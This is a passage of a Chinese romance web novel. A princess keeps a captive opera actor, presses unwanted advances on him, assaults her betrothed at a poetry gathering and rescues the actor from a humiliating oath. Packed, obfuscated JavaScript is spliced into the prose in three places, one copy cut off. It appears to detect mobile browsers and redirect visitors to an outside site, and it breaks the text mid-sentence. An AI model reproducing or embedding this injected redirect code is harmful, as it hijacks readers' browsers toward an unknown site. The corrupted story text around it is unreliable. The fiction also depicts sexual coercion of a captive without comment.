“今日你扰的本公主没有兴致了,先暂且饶过你一回。但日后,也许是明日、也许是后日,你就不会有这样的好运气了。”苻庆仰起头,居高临下地捏住程怜香的下巴,“所以,程怜香你就日日仔细梳洗,在此处等着本公主临幸吧。” “你!” 再一次,苻庆没理会程怜香的气愤,头也不回地离开了揽晴轩。 回到翠华庭已是困极,苻庆撑着由松醪为自己洗漱后,迫不及待仰躺到床上,一觉睡到天亮。 6. 讲和 等到第二日醒来,苻庆还有些不适应,但很快就接受了宫外新鲜的空气。由松醪梳妆打扮后,吃上了在公主府的第一顿早饭。 啃着包子的苻庆忽然想起来府中还有一个人,“对了,程怜香他怎么吃饭啊?” 松醪疑惑,“自然是由下人将饭送到揽晴轩了。” “那就行,”苻庆点头,“我还怕你们把他给忘了呢。” 整个府中能把程怜香遗忘的人恐怕就只有眼前这位啃包子的人了吧。松醪无奈一笑,“公主放心,奴婢们一定会好好伺候程伶人,不会饿死他的。” 苻庆满意地点头,嘴里含含糊糊,“我主要是怕他饿瘦不好看了。” 苻庆用过早饭,正准备再到后花园中走走,忽然看到一个婢女端着一盘碎瓷片从门前走过。 “见过公主。” 苻庆走上前,眼见那碎瓷片上还留着米粒油脂,开口问道:“这是怎么回事?” 婢女福身,“这是揽晴轩程伶人摔的。” 苻庆的眉毛竖起来,“什么?他这么浪费粮食?” 婢女皱眉,“公主,程伶人不仅不肯吃饭,还把送过去的碗碟都砸了。” 苻庆爱美食,最见不惯程怜香这等浪费食物的行为,“既然他不饿,你们就先别送过去了,省得糟践粮食。等中午再说吧,若他还不肯吃,便等到明日再说。我昨夜看过了,他那个小腰感觉就一个巴掌这么宽,饿两顿应该没什么问题。” 松醪悄悄叹口气,见苻庆离开,悄悄拉住那婢女,“机灵点,别让他真饿死了。” 然而苻庆还是低估了程怜香的决心和意志,这场绝食行动一眨眼便持续了三日。眼见着程怜香如今连下床都费劲了,揽晴轩的婢女们担心最后真出了三长两短,还是选择将这件事报给了松醪。 而苻庆也在公主府中老实待了三天后坐不住了,样子感觉已经做足,怎么着都该找点乐子了。 “松醪,你说如今的京城哪里最热闹呢?” 松醪走进屋,看见苻庆仰躺在榻上。“自然是京郊的大雁塔。如今开春,溪水解冻,每年这个时候大雁塔都会聚集全城的文人才子借流觞曲水举行雅集呢。” 苻庆听了这话,忽然心头一动,想到了另一个她早就想要去拜会一下的人。“那你说,我未来那位夫君算不算文人才子呢?” 松醪了然,低头微笑道:“杜公子前年便中了探花,如今却因为朝廷要修书,只能在国子监担任博士一职。想来心中也已经觉得憋闷许久,此时去这等雅集展现文墨水平,不正是最合适的时候吗?” 苻庆坐起身,忽然看见松醪提着一个餐盒。“怎么又吃饭了?” “不是您,”松醪解释,“是揽晴轩那位。奴婢听人来报,程伶人已经三日未进一粒米了,眼见着此刻床都下不来了。” 苻庆有些意料未及,“至于吗?从了我让他这么难受,连死都不怕了?” 松醪提起食盒,“到底是陛下替您买下来的人,也算是圣上所赐。若是在公主府中真的饿死了,咱们也不好交差啊。” “好吧。”苻庆长叹一口气,起身往揽晴轩走去。 还没走进门,苻庆便听到里面有气无力的喊话,“滚!我什么都不会吃的。” “怎么听着嗓子都哑了?”苻庆迈步走进去。看见程怜香倚在床头,面容憔悴。“怎么?程老板这是要以身作则,告诉我们饿死事小,失节事大吗?” 程怜香没想到是苻庆过来了,忽然又紧张起来。“你,你来干什么?” 苻庆眨眨眼,一脸无辜,“你忘了?咱们不是说好了的,我是来临幸你的啊。” 松醪刚拎着食盒走进来,听到这话,将食盒放在桌上,又转身退了出来。 “你!”程怜香有气无力,“你的心还是肉长的吗?我都这样了,这种话你也能说出来!” “你怎么样了?”苻庆装作惊讶地走到床前,对着程怜香上下打量起来,“我瞧瞧,这不胳膊腿都在,脸也好好的,虽说嗓子哑了点,但一会你可以不说话啊,听我指挥就是了。” 程怜香没想到苻庆说话如此大胆,一时间接不上话,目瞪口呆间耳朵又红了。 “还是说,还有我现在看不见的什么地方不成了?”苻庆坏笑着靠近床边,“那我还是仔细检查一下吧。”说完,猛地伸出手抓住程怜香盖在身上的被子,想要一把拽下来。 程怜香慌乱之时也抓住了被角,只是三日绝食到底损坏了气力,争夺间没拉住被子不说,反而被苻庆一把连被子带人都拉进了怀里。 比起初入公主府那日,程怜香今日的情况更加危急。因为从昨晚躺下后便没力气起身,直到现在程怜香都只穿着里衣。隔着薄薄一层布料,程怜香甚至能够感受到苻庆身上的温热。 “我……”眼见着那张圆圆的脸蛋离自己只有咫尺之遥,程怜香这下连脖子都红透了。挣扎两下没起来,反而被苻庆发现企图,干脆松开被子伸长胳膊搂住了程怜香。 “看来今天太阳打西边出来的,程老板终于想通了。我原以为这是一出苦肉计,没想到却是欲擒故纵。”苻庆也发现了程怜香只穿里衣的事情,笑得眉眼弯弯,很是得意的样子。“我看程老板这都准备好了,本公主自然不能不解风情。”说完,右手顺着程怜香的锁骨摸进衣服里,程怜香里衣的右襟也就随着苻庆的动作逐渐滑落,露出大片雪白的肌肤。 感觉到苻庆的手已经与自己肌肤相贴,程怜香头一次这么后悔自己居然用的是绝食的法子,之前那日自己尚且还有力气挣扎,今日却连挣脱开苻庆的手的力气都没有了。程怜香仰躺在苻庆腿上,目光涣散,只有苻庆的手抚过身体的触感格外清晰。眼见苻庆已经解开了自己里衣的绳结,程怜香忽然又有了一丝力气。 “放开我,”程怜香喘了一口粗气,说出了今天最大力气的一句话,“你若再动我一下,我就咬舌自尽。” 苻庆反应许久才意识到程怜香在说什么。这孩子不会是学戏把脑子学坏了吧?怎么净说些不该他说的词呢?苻庆感到好笑,停下了动作,手却还抚在程怜香腰上,“程怜香,你是不是脑子坏了?真以为自己是朝廷表彰的贞洁烈女了?” 由于刚才那句话用力过猛,程怜香后续的声音已经微不可闻,“我师父说过,若想唱好旦角戏就必须是童子身。公主,算我求求你,若是不能唱戏了,我宁可去死。” 学唱戏竟还有这规矩?苻庆第一反应是程怜香应当是说谎话蒙骗自己,但看到程怜香现在饿的奄奄一息的状态,又联想到程怜香那天晚上由于自己的撩拨而面红心跳的样子。苻庆虽未起身,却拿开了抚摸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446096|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程怜香肌肤上的手,又回到了勾着程怜香脖子的状态。 “你是说谎话诓我吧?皇宫中也不是没有圈养戏子,我怎么没听他们说过还有这等规矩?” “是真的。”程怜香昨天一直憋着不肯说出,是因为这也算是他们和春班的秘密。程怜香从小就听师父讲,若想唱旦角,就要做好下苦工的准备。这种苦工不只是身体上的痛苦,同时还有心灵上的孤苦。 “我师父说,情欲能够把男人变成野兽,心里就会变得肮脏,自然也就扮不像女子了。” 这话苻庆倒是打心眼里赞同,看来程怜香师父还是个心里清楚明白的人。看在程怜香师父的份上,苻庆松开了手。 重新获得自由的程怜香第一时间弹开了,抓着滑落的里衣和被子重新包裹住身体,和苻庆保持安全距离。 苻庆终于想到一个劝说程怜香的法子,“程怜香,你别总觉得你此生都唱不了戏了,我是说过现在不准许你离开,但我没说过你一辈子都不许离开啊。” 程怜香眸子一亮,抬头看向苻庆。 “你也知道,本公主很快便会成亲了,到时候我的夫君能不能容下你就是个问题。即便他能容下你,我会不会厌烦了你也是个问题,毕竟目前来看你除了长得好看些,别的地方实在没什么好处。特别是,碰也不能碰,我养着你又能做什么呢?” 程怜香连忙问道:“那你什么时候才能厌烦我?” “这就不知道了。”苻庆站起身,走到桌边将食盒打开,“不过如果你能帮我找到另外一个像你这般貌美,又比你更可心的人,我厌烦你的概率自然也就大些。”说完,端起米饭和筷子走到床边,“你说呢?” 程怜香看着苻庆,四目相对间,程怜香试图寻找苻庆这番话的真假。但苻庆的眼底只有笑意,看不清其中的意味。 算了,反正听她的或许还有一线希望,真饿死自己就真的没有离开此处的可能了。程怜香暗下决心。再者说,即便是为了下次在反抗苻庆的时候存点力气,他也绝不能再继续绝食了。否则自己又会像今天一样,犹如被苻庆按在案板上的鱼,毫无还手之力。 半晌,程怜香伸出手接过筷子和米饭,大口吃起来。 “慢些慢些,你这样脾胃会受不了的。”苻庆说着话走到一旁坐下,“桌上还有菜,自己走过来吃。” 眼见着程怜香终于把饭吃下去,苻庆只感觉又完成一桩大事,心情颇好。 “吃好了吗?” 程怜香放下碗筷,有些不知所措地看着苻庆。 苻庆被逗笑,伸手摘下程怜香嘴角的一颗米粒,“吃好了,跟我出门一趟,今日这事你若是办好了,本公主还会重重赏你。” 程怜香摆出防备的样子,“你要做什么?” 苻庆摇头晃脑说道:“本公主到现在都还未见过我那便宜丈夫呢,今日他们在大雁塔举办雅集,咱们也去凑凑热闹。” 程怜香知道大雁塔附近的雅集,那里全都是高门显贵家的公子才能够出入的地方。自己是一个下九流的戏子,苻庆虽是公主却是个女子,根本不可能进得去。因此带着怀疑的眼光看向苻庆,“咱们俩,能进去吗?” “现在当然是不能。”程怜香忽然伸手把程怜香头上的网巾取下,绑在了自己的额头上,“这样不就行了?” 7. 不满 一炷香的工夫,苻庆和程怜香都已经装扮一新。见程怜香从屏风后走出,苻庆把已端到嘴边的茶杯都忘了。程怜香身着一件天蓝色道袍,头上戴幅巾,右耳边带一支嫩粉色绢花,手上持折扇,一双瑞凤眼流光溢彩,举手投足之间都让人难以移开视线。 程怜香许是因为从前没有做过这种装扮,因此还有些不好意思,手有些局促地抚摸着衣服。“有必要穿成这样去吗?” 其实没必要,但现在苻庆觉得很有必要。 松醪开口劝导:“程伶人也知道的,能参加大雁塔雅集的人都是非富即贵的。您若不打扮的扎眼些,奴婢怕那些狗眼看人低的东西做蠢事。” 苻庆点头,她现在穿一身深蓝色贴里,为了模糊身体曲线在腰间裹了厚厚一层腰带,乍一看真像个还没长个的小男孩。“今天你才是主子,我是奴仆,自然你得打扮得光鲜亮丽些了。” “你觉得这样真的能行吗?”程怜香左右看看自己的衣服,“我怎么还是有些担心呢?” “怕什么?京城中王宫贵胄多了,咱们说是谁家的混不进去?”苻庆从松醪手中接过一个鼓鼓囊囊的钱袋子,轻轻掂量掂量,“还行,应该不至于让你出去赎我们了。” 松醪知道苻庆是个迷糊的,转而对程怜香嘱咐:“程伶人您行行好,我家公主被人伺候惯了,对买东西没什么概念,您可看着公主些。” 程怜香看着那一袋子钱,“这袋子钱少说都够我们戏班子所有人活三个月了,真是奢靡。” 苻庆不在意程怜香的话,把钱袋子揣进怀中,拉住程怜香的胳膊向外走去。 两人坐马车很快便到了大雁塔,这附近有大大小小不同风景园林若干,每年这时候这些园子都会被不同的世家大族包下来举办雅集聚会,因此道路两旁停满了各式各样的马车,好不热闹。 “到了。”从马车轿厢中一直向外望着的苻庆最终在耦园门口停住了车。大夏国没有养马的地方,马匹数量少,即便是达官贵人也很少能找到四匹同色的马驾车。但苻庆早就听人说过,杜至善的父亲杜太傅不知为何对此事十分在意,费了好大力气找到四匹一模一样的白马,因此杜家的马车即便到了这种地方,也很是显眼。 看着那四匹连肩高都相差无几的白马,苻庆嗤笑一声,低头下了马车。 “咳咳。”正东张西望着,苻庆听到身后有人咳嗽的声音。 “还不快扶本少爷一把。” 苻庆有些无奈,却还是转身伸长了胳膊,扶着程怜香下了马车。程怜香打开折扇挡在面前,“就是这里了?” 苻庆点头,“走吧。” 程怜香拉住苻庆的胳膊,心里还是打鼓,“真的能进去吗?若是被人抓住,咱们俩可会挨打的。” “你也不想想本公主是一般人吗?”苻庆早已在心中想好了对策。刚走一步,突然意识到此时自己的身份,立刻伸手示意程怜香走到前面去。二人一前一后走到了耦园门口。 耦园门口站着几个小厮,见程怜香和苻庆二人走过来,其中一个忙不迭地跑上前。 “小的有眼无珠,不知公子是要下谁家的拜帖?” 程怜香一滞,打开折扇遮在面前。苻庆一个箭步走上前,将袖中的拜帖递了上去。 “竟是英国公府的,小的眼拙,实在冒犯、冒犯。”那人深深做了一个揖礼,将拜帖送还。“公子里面请。” 二人跟着小厮进了门,程怜香用扇子挡在面前悄悄对苻庆说道:“你从哪偷来的拜帖?” 苻庆翻了个白眼,“英国公常年居住在京郊,更不爱参加京中世家大族举办的这些活动,家中拜帖多得没处放,咱们用他的名号是最方便的。” 程怜香撇嘴,心中对苻庆偷拜帖的行为有些不满,但还是装出贵公子的样子,跟着小厮七拐八拐走到了宴席会场。 “公子来得巧,贵人们正在取酒对诗呢。公子若是感兴趣,不妨也上去对一首。咱们家这次带来的可都是五十年以上的陈酿,酒香美着呢。”小厮说完,又指了指一旁的台子。“公子若不喜欢这些,也可以先去挑张桌子坐下,一会有咱们京城最好的戏班子在此唱曲。” “是哪个戏班子?”程怜香忍不住开口问道。 “自然是和春班。就是那个前几日入宫为陛下唱戏,被公主抢走了一个伶人的和春班啊。” 程怜香看向苻庆一眼,苻庆同时也看向他,二人四目相对。苻庆装作看不懂程怜香眼中的愤怒,无辜一笑。 “少爷,咱们去那边看看吧。” 程怜香咬住下唇,到底还是跟着苻庆走到了流觞曲水的宴席处。 “刚才杜博士这首诗是真的好!这壶酒杜博士应当独饮三杯!” 苻庆心中一喜,没想到这么轻易地就找到了目标。看向不远处的亭子中,一个身着赤色圆领袍、头戴网巾的男子正举着酒杯站着。男子面容方正、棱角分明,此时正笑着向四方举杯致意。 “杜博士,再饮一杯吧!”座下此起彼伏的声音让再次苻庆确认,那个站着的人就是杜至善。 “怎么样?看够了吗?长得是你喜欢的样子吗?” 苻庆回头看了程怜香一眼,故意捏了一把程怜香的腰,“你放心,我最喜欢的还是你这样的。” 程怜香躲过苻庆吃豆腐的手,站到了一旁。 流觞曲水的规矩,再饮一杯便要再作一句诗。杜至善稳稳端着酒杯,稍加思索。“双飞燕子几时回?夹岸桃花蘸水开。” “好!”“好!”流觞两旁坐着的人纷纷讨论起来,“好一个蘸水开,杜博士作的真是好诗!” 程怜香对这边的作诗活动并没有什么兴趣,虽说他学戏唱戏需要识字,但寻常学堂都觉得戏子是三教九流之辈,不屑于招他们入学,因此程怜香并没有读过几本书。正出神,忽然看见一个熟悉的身影挤过人群伸手捞起了漂在曲水末端的酒杯。 “万树江边杏,新开一夜风。” “一夜风……意境难得,是个好句。”众人反复斟酌几遍,而后纷纷笑着鼓起掌来。 杜至善远远地只能看见一个身着深蓝色衣服的人端起酒杯,他没想到对方居然敢上前接自己的句子。心中虽有些震惊但面上却不显,反而很谦虚地举起酒杯,“小兄弟,确实是好诗。” “若再不做首好诗,这坛酒不就被杜博士一个人都喝光了?”苻庆笑一笑,举起酒杯一饮而尽,“谢主家好意,这确实是好酒。” 杜至善听到对方这样说,眉头一皱,面上却是笑起来。“既然如此,不知兄台是否愿意与在下再对几首呢?” 苻庆没说话,只是端起酒杯为自己又倒了一杯酒。 这是同意的意思了,杜至善勾起嘴角一笑,“肃肃花絮晚,菲菲红素轻。” 苻庆稍作迟疑,“众芳摇落独暄妍,占尽风情向小园。” “草树知春不久归,百般红紫斗芳菲。” 这次苻庆不再迟疑,反而轻松一笑,“杨花榆荚无才思,惟解漫天作雪飞。” 杜至善心中一顿,意外对方不仅对上了自己的诗,甚至还接上了韵律。京中出名的才子不过尔尔,他今天却是遇见了一个素未谋面的对手。 转瞬之间,一条计策在杜至善心中出现。 “新年都未有芳华,二月初惊见草芽。” 苻庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说白了还是技不如人罢了,我不生气。”苻庆嘴上这样说着,面上却是阴沉着脸。 程怜香刚想再说句什么,却听一声锣鼓响过。程怜香明白,这是戏要开场的意思。连忙转过头,紧紧盯着戏台。 不一会,伴随着鼓点声,一个着贵妃装扮的青衣款款登台。 苻庆侧耳听了几句,轻轻用胳膊肘碰程怜香。“没你唱得好呢。” 程怜香面无表情地听着,被苻庆夸后也只是看了苻庆一眼。苻庆一开始还当程怜香这是听戏入迷,后来实在觉得台上那人唱戏气口不对,开始低头玩起自己的腰带来。可几次抬头,程怜香还是保持着那个表情与动作静坐在那里,三番两次终于让苻庆感受到一些不对劲。 “这个唱戏的人,你是不是认识啊?” 程怜香终于舍得开口,“确实认识。” “他是谁啊?” “他是我师弟。” “你师弟?”苻庆歪着脑袋,半晌终于反应过来,“因为你这个摇钱树被我拐走了,所以你们戏班现在开始培养新人了呗。” “他从前是陪我练嗓子的。” 苻庆终于听出程怜香隐藏在这三言两语之后的愤懑,为了防止惹火上身,苻庆赶快闭住了嘴,乖乖坐在那里陪程怜香听戏。 一曲终了,那青衣谢幕退场,底下的人争相往台上扔起银子和珠宝首饰来,苻庆不常看见这种热闹,有些兴奋地四处张望着。忽然看见另一边流觞曲水的场地,杜至善正匆匆从亭子中离开,一个人走向了园子深处。 正当这时,程怜香斟酌再三,终于小心开口:“我……想去见见我们戏班的人,行吗?” “行行行。”苻庆心里想着的另一件事,敷衍地答应过程怜香,“你去吧,我去后院溜达溜达咱们再走。”说完,匆匆离席。 程怜香很意外苻庆这么轻松地就同意了他单独行动的提议,在确认苻庆离开后,转头定定地瞧着那个青衣退场的方向。 8. 偷袭 苻庆跟着杜至善七绕八绕,最终看杜至善一个人走进了茅厕。苻庆不在意这些,反而趁这时间从后院杂物中翻出一个大麻袋来。 杜至善因为刚才在席上多饮了几杯,脚下有些虚浮。他酒量一直不算好,为这事没少挨父亲的责骂。再经过多年自饮自酌的练习后,杜至善酒量虽不至于三杯就倒了,但还是在酒后很容易跑厕所。 终于解决了大事,杜至善一身轻松走出茅房。今日虽说有些插曲,但总体来说都是顺利的,一切都在他的掌控之中。近几日京城中诗会雅集不断,正是他四处展现才能的好机会。思虑间,杜至善忽然好像看见了父亲那张阴郁严肃的脸。由于在国子监担任博士的机会,杜至善如今能够常住在国子监中,因此不常回家。然后在四日前,杜至善忽然接到家仆的消息,说父亲要他立刻回家。 一路上思考了无数种可能性,却还是没想到最终居然是圣上要亲自为他赐婚尚公主的事情。 “明德,自你考中进士,如今已两年有余了,你难道就甘心在这个小小国子监做一辈子经学博士吗?” 杜至善看着父亲,心里想着他从前也不过是国子监祭酒,有何资本瞧不上国子监。但嘴上却是说道:“儿子从未忘记心中抱负,也未忘记一个读书人的终身追求——修身、齐家、治国、平天下。” 杜太傅满意地点点头,“如今圣上为你赐婚,一来你是上届春闱翘楚,中榜前便以才华横溢在京中闻名,圣上此举是为了笼络天下读书人。二来……” “陛下想要为儿子选一个重要的职位,只是以目前儿子的资历尚不能服众。可若是成为驸马,一切就都可以另当别论了。” 杜太傅笑着捋了捋下巴上的胡须,“现如今最重要的官职除了六部就是枢密院和秘书省,陛下既然走了这一步棋,必然是为你选择了一个极好的位置,到时候就离你的目标更近一步了。” “父亲放心,儿子六岁时便在祖宗前立誓,此生必定拜相,为我杜家光耀门楣。” 正出神想着,杜至善忽然听见身后一阵风声,刚想回头看,却只看到一片衣角扫过,紧接着便是一片黑暗。 “谁!” 苻庆给杜至善套上麻袋后,麻利地一脚把杜至善踢倒。接着就势让麻袋在地上滚了几圈,待到达水塘边后,一脚将麻袋踢了下去。 眼见着杜至善在麻袋中挣扎了好一会才停下,苻庆在岸上早已笑得乐不开支。可惜没有麻绳封口,挨了几脚又呛了几口水后,杜至善就从麻袋中挣扎了出来。 “大胆!你是谁?竟敢殴打朝廷官员!” 苻庆站在岸上看热闹,她知道像杜至善这种书生大多是手无缚鸡之力,这水塘水虽不深,却是个不浅的大坑,若无他人帮忙,杜至善绝对是爬不上来的。 “我家公子是苻庆公主的爱慕者,知道你小子胆敢觊觎公主,特意让我过来教训教训你。” “你!”杜至善震惊于对方居然这么快便知道了赐婚的事情,明白对方主子也并非平民,一时间说话也不敢太冒犯,“我与公主成婚乃是陛下恩赐,你家公子让你做此事想必对陛下也会有所怨言。你放心,待明日我一定一纸奏疏,将此事明明白白禀告陛下,好让你家主子的怨气有处可申!” 苻庆最看不惯这些文人动不动就一纸奏疏的作风,说得好像谁不会告状似的,大声说道:“好,我等着。你要敢不去你就是我孙子!”说完,苻庆抓起两把泥巴扔到杜至善身上,头也不回地离开了。 出完了胸中这口恶气,苻庆终于觉得喘气舒服了。这才想起来还不知程怜香去哪里见戏班子的故人去了,在戏台周围绕了两圈没见到程怜香,苻庆忽然心中警铃大作,“坏了,莫不是跑了吧?” 这样想着,苻庆拐进了戏台后的一间小院。小院天井中有几个人在擦拭乐器,苻庆觉得有戏,连忙向里跑去。走进一间小屋子,穿过摆放整齐的戏服和盔头,苻庆终于看见了程怜香,心里不禁松了一口气。刚准备开口唤他,却发现程怜香对面还站着个人,再仔细一看,是刚才在台上唱戏的那个小青衣。 “师哥就放宽心在府中好好侍候公主罢,这戏班子的事不劳您帮忙了。” “小秋,我是为你好,你那样唱法表面是个一蹴而就的法子,实则却是很毁嗓子的。” “毁嗓子也是毁我自个的嗓子,干你什么事呢?” “小秋!” 程清秋打断了程怜香的话,“师哥,我知道你气我,气我抢了你的位置。说实话你自己也从来没想过罢?没想过师父最钟爱的你成了公主面首,原先只能给你作配的我反而成为了戏班子现在的台柱子。” 程怜香一顿,没有说话。 “刚才你就在台下吧?那师哥你可听见了?听见那些观众为我欢呼喝彩的声音,原先他们的喝彩都是为你的,可如今却都是为了我了。” “小秋,我没有这样想过……” “我知道你嫉妒,师哥,现在我也明明白白告诉你,今日你是绝不可能见到师父了。师父被你气的几乎吐了血,你如今一身娈童打扮竟也好意思再跑到戏班子里说要见师父,怎么?你是嫌师父他老人家活得太久了是不是?” 程怜香被说的面色苍白,却还是抓住程清秋的手问道:“师父身体怎么样?陛下给的赏钱,你给师父买药了没有?还有人参养荣丸,师父是不能一日不吃的。” “师父说了,若不是你那日在御花园乱跑冲撞了贵人,怎么会有后面这些事情?如今既然你如愿以偿攀了高枝,他便只当是瞎了眼白养你一场。至于那些钱,是你卖身换来的,师父说谁若用了便也和你一般脏了,我们可不敢动。” 程怜香愣了一霎,却还是继续央求道:“小秋,你便当是大慈大悲发发善心,师父本就肺不好耽误不得,那钱你瞒着他先拿去换了药再说。小秋,我求你了。” 程清秋忽然咧嘴一笑,“既然如此,师哥你不如就跪下对我磕三个响头,再发誓此生都不回戏班来,我就同意帮你。” 程怜香愣住,程清秋似乎是猜到程怜香不会答应,只轻蔑地笑一笑,抽出袖子继续忙着手里的事情。 “好,我答应你。”程怜香深深看了师弟一眼,“我发誓,我此生都不会再回到戏班来。”说完,撩起下摆跪在了地上。 “且慢。”程清秋制止住程怜香的下一步动作,笑眯眯说道:“空口无凭啊师哥,若是你后来反悔了可怎么办呢?” 程怜香愣住。 程清秋眼睛弯弯地笑着,“我教你。师哥,你就说你程怜香此生再也不会回到戏班来,若违背此誓,便坏了嗓子,这辈子都唱不了戏。” 程怜香重重呼出一口气,却还是接着开口说道:“我程怜香此生都不会再回到戏班来,若违背此誓,便……” “公子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446098|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋中二人都吓了一跳,程怜香循声看去,苻庆弓着身走了进来。 “公子原来在这,可让小人好找。” 程怜香一时不知道苻庆唱的哪一出,呆着不敢说话。 程清秋见程怜香话在关键时刻被打断,心里很不高兴,出声问道:“你是谁啊?不知道这里不能随便进出吗?” “小的是程公子的仆从,专门跟在公子身边照顾公子的。” 程清秋有些意外,本以为程怜香被买去不过是个男宠面首罢了,如今看来却像是做了主子。 “公子怎么跪在地上?临出门前公主千叮咛万嘱咐让小人照顾好公子,这要被公主知道了,小人小命不保,还求程公子快起来吧。”说着,苻庆走上前不由分说将程怜香搀扶起来。 “果然是公主心尖上的人,待遇就是与寻常男宠不同。”程清秋见对方也不过是一个奴仆,开口讥讽道。 “小人不才,方才这位伶人的话好像是在刁难我家公子?”苻庆拱手,“我家公主说过,若碰到有胆敢欺负我家公子者,见一个打一个。小的本以为你与我家公子是旧相识,可如今看来倒像是猜错了。” 程怜香连忙抓住苻庆的胳膊,“时候不早了,咱们回去吧。” 苻庆回头看程怜香,对方低着头,一幅不愿久留的样子。 “你确定?只要你愿意,我可以打得他满地找牙,叫他跪在地上喊你爷爷。” “快走吧。”程怜香低声央求道,“我真的想走了。” 见程怜香确实只想离开,苻庆往后退一步,“既然如此,今天算你好运,下次可别让我看见你了。”说完,转身向外走去。程怜香最后看了一眼站在原地一脸错愕的程清秋,也跟着离开了。 回府的马车上,程怜香一直垂头不语,反而是苻庆憋了一肚子话想要说,可看到程怜香那个表情,她也不敢多说什么。就这样别别扭扭着一路回了府。 回府后,苻庆自顾自回了翠华庭,也没有顾及跟在身后的程怜香。回房中由松醪伺候着换下了那身衣服,解开了腰上层层叠叠的束缚,终于长舒了一口气。 “松醪,这些腰带可快憋死我了!” 松醪收拾着衣物,笑着回答:“可奴婢怎么觉得,公主心情像是很好的样子。” 苻庆憋不住一笑,勾勾手指把松醪叫到身边,把今天自己偷袭杜至善的事情趴在松醪耳边细细讲了。 “你不知道,他最后坐在那个水塘里气急败坏的样子,可真是笑死我了!” 松醪却有些无奈,“公主,您要打他找些人便是了,何必自己动手?这下杜公子看到了您的模样,难保以后不会认出来。” “认出来就认出来呗,我怕什么?”苻庆翘着脚坐在圈椅中,此时她心中只有给了杜至善教训的喜悦,“到时候等他认出来,本公主就再打他一顿。” 松醪长叹口气,轻声细语对苻庆说道:“公主可曾想过,即便您再打他一顿又能怎样呢?杜公子最终还是您的丈夫,这一点是无论如何都无法改变的了。您如今这样使性子,长此以往,杜公子怎样想确实无所谓,只怕宫里那位会对您不满呐。” 苻庆撅起嘴,拔下头上一支步摇玩起来。松醪明白苻庆已经听进去了自己这番话,又继续收拾衣物去了。 “松醪,今晚不必铺床了。”松醪回头,看见苻庆一拍把手站起身,“本公主要到揽晴轩睡!” 9. 倒影 等到了揽晴轩,苻庆才发现程怜香还穿着那身衣服,正坐在圆桌旁愣神。 苻庆故意开口说道:“你怎么还没把衣服换下来?是不是那些丫鬟怠慢你了?告诉我,我去罚她们。” 程怜香一惊,从思绪中回过神来,站起身说道:“不是,不是。是我自己想事情忘记了时间。” 苻庆自然知道,刚才的话也只不过是为了逗程怜香。苻庆走到桌边寻一个凳子坐下,又拍拍另一张凳子示意程怜香也坐下。 “到底怎么了?魂不守舍的,”苻庆歪着脑袋,眼睛探究地看向程怜香,面上的笑意像是在安抚程怜香,“是不是出去一趟吓坏了,掉了魂了?” 程怜香心中自然有事情,但此时他对苻庆仍然怀有戒备,也就不愿多说,只是轻轻摇头,“我有些累了而已,多谢公主关怀。” 而苻庆却意外程怜香对自己如此恭敬,故意装出诧异的样子,“哟?这还是程老板吗?怎么这么乖巧了?让我看看,是不是我带错人回来了?”说完,就伸手捞住了程怜香的下巴,强迫对方正眼看向自己。 程怜香被苻庆的动作吓了一跳,但震惊之后却没有躲开,反而是眼神定定地看着苻庆,眸子中潜藏着抹不开的悲伤。苻庆被程怜香眼中的哀伤刺了一下,见程怜香不反抗,对程怜香也没有了调戏的兴趣,很快就松开了手。 “我说句实话,今天下午你和你那师弟的对话我多少也听了一耳朵。” 程怜香早就想到了这件事,点点头说道:“我猜到了,你绝不可能是那时候才走进去的。” 苻庆想到这,忽然怒从中来,狠狠一拍桌子,“你不说我都差点忘了!程怜香,你真是有本事。我身为大夏国公主,你才跪过我几次?今日若不是我拦着,响头你都给他磕了。我问你,平日里你对着我的骨气都哪去了?被你吃了?” 程怜香没想到苻庆关注的重点在这里,一时间都忘记了悲伤,感觉有些啼笑皆非,看着符庆愤怒的脸说不出话,“我……” “亏我平日对你那么好,结果呢?你却转头去跪一个仇人?真是丢人。”苻庆气愤地数落一通,说到最后还不解气,伸出手指在程怜香的脑门上狠狠戳了一下。 程怜香也不躲,只是抬手揉了揉脑门,乖乖等苻庆骂完才张口,“那不是仇人,他是我师弟,我们俩都是跟师父姓的,他叫程清秋。” 怒火被程怜香忽然的坦诚岔开了,苻庆重复一遍,“清秋?也是个好名字,只可惜他唱的没你好。” “我们从小一同长大,一同学戏,我吃过的苦他也都一点不落地尝过了。可是同一辈中,一个戏班子只能出一个大青衣,这是规矩。没办法,师父选了我,他就只能为我做配了。”程怜香看向窗外,脑海中忽然想起小时候的春日里,和程清秋一同绕着戏班院子中天井踢腿的样子。 苻庆点头,这下她终于知道程清秋对程怜香莫大的恨意是从哪里来的了。明明是吃一样的苦,一个能大红大紫成为未来的角儿,一个却只能永远当绿叶衬托红花,自然心中会有万般不满。 “即便如此,他做得也有些过分了。”苻庆摇头,“即便他再不愿意让你回去,也不能让你发那样的誓言啊。” 话音刚落,程怜香忽然看向苻庆,面上露出一个很温柔的笑容,“公主,谢谢你。” 苻庆被程怜香的笑容晃了眼,嘴上本说着“谢我什……”,话未说完苻庆已经明白程怜香的意思。 “若不是你,那誓言我就真的说了。” 